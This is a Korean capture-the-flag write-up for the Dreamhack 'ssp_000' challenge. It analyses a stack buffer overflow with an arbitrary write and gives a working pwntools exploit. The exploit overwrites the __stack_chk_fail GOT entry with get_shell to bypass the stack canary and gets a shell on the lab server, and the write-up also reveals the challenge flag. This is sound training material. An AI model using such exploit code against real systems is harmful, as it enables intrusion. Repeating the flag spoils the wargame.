Desciption
이 문제는 작동하고 있는 서비스(ssp_000)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 16.04 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Files
ssp_000 ├── ssp_000 └── ssp_000.c 0 directories, 2 files
64비트 리눅스용 실행파일 ssp_000,
C언어로 작성된 ssp_000.c 소스 코드
분석
int __cdecl main(int argc, const char **argv, const char **envp) { _QWORD *v4; // [rsp+10h] [rbp-60h] BYREF __int64 v5; // [rsp+18h] [rbp-58h] BYREF char buf[64]; // [rsp+20h] [rbp-50h] BYREF _QWORD v7[2]; // [rsp+60h] [rbp-10h] BYREF v7[1] = __readfsqword(0x28u); memset(buf, 0, sizeof(buf)); initialize(v7, argv, buf); read(0, buf, 0x80uLL); printf("Addr : "); __isoc99_scanf("%ld", &v4); printf("Value : "); __isoc99_scanf("%ld", &v5); *v4 = v5; return 0; }
buf가 rbp-0x50(=80)에 위치해있는데,
read 함수를 통해 buf를 0x80(=128) 바이트만큼 입력받으므로,
Buffer Overflow가 발생한다.
그리고 원하는 메모리 주소에 값을 넣을 수 있도록 되어있다. (long 타입)
풀이
스택 프레임 구조를 나타내면 위와 같다.
buf를 입력받을때, Stack Canary까지 덮으면, ___stack_chk_fail로 분기되는데
이때 __stack_chk_fail GOT 주소에 get_shell 주소값을 넣으면 쉘을 획득할 수 있다.
따라서 위와 같이
buf를 73바이트(buf[64]+Dummy 8bytes+Stack Canary를 오염시킬 1byte)만큼 덮어쓰면 된다.
Solution
from pwn import * context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') # p = process('./ssp_000') p = remote('host3.dreamhack.games', 13139) e = ELF('./ssp_000') stack_chk_fail_got = e.got['__stack_chk_fail'] get_shell = e.symbols['get_shell'] payload = b'A' * 0x49 p.send(payload) p.recvuntil(b'Addr : ') p.sendline(str(stack_chk_fail_got)) p.recvuntil(b'Value : ') p.sendline(str(get_shell)) p.interactive()
FLAG
DH{e4d253b82911565ad8dd9625fb491ab0}
ubuntu@DESKTOP-1I4EUI3:~/CTF/dreamhack.io/ssp_000$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 13139: Done [*] '/home/ubuntu/CTF/dreamhack.io/ssp_000/ssp_000' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [DEBUG] Sent 0x49 bytes: b'A' * 0x49 [DEBUG] Received 0x7 bytes: b'Addr : ' [DEBUG] Sent 0x8 bytes: b'6295584\n' [DEBUG] Received 0x8 bytes: b'Value : ' [DEBUG] Sent 0x8 bytes: b'4196586\n' [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0xd bytes: b'flag\n' b'ssp_000\n' flag ssp_000 $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x24 bytes: b'DH{e4d253b82911565ad8dd9625fb491ab0}' DH{e4d253b82911565ad8dd9625fb491ab0}$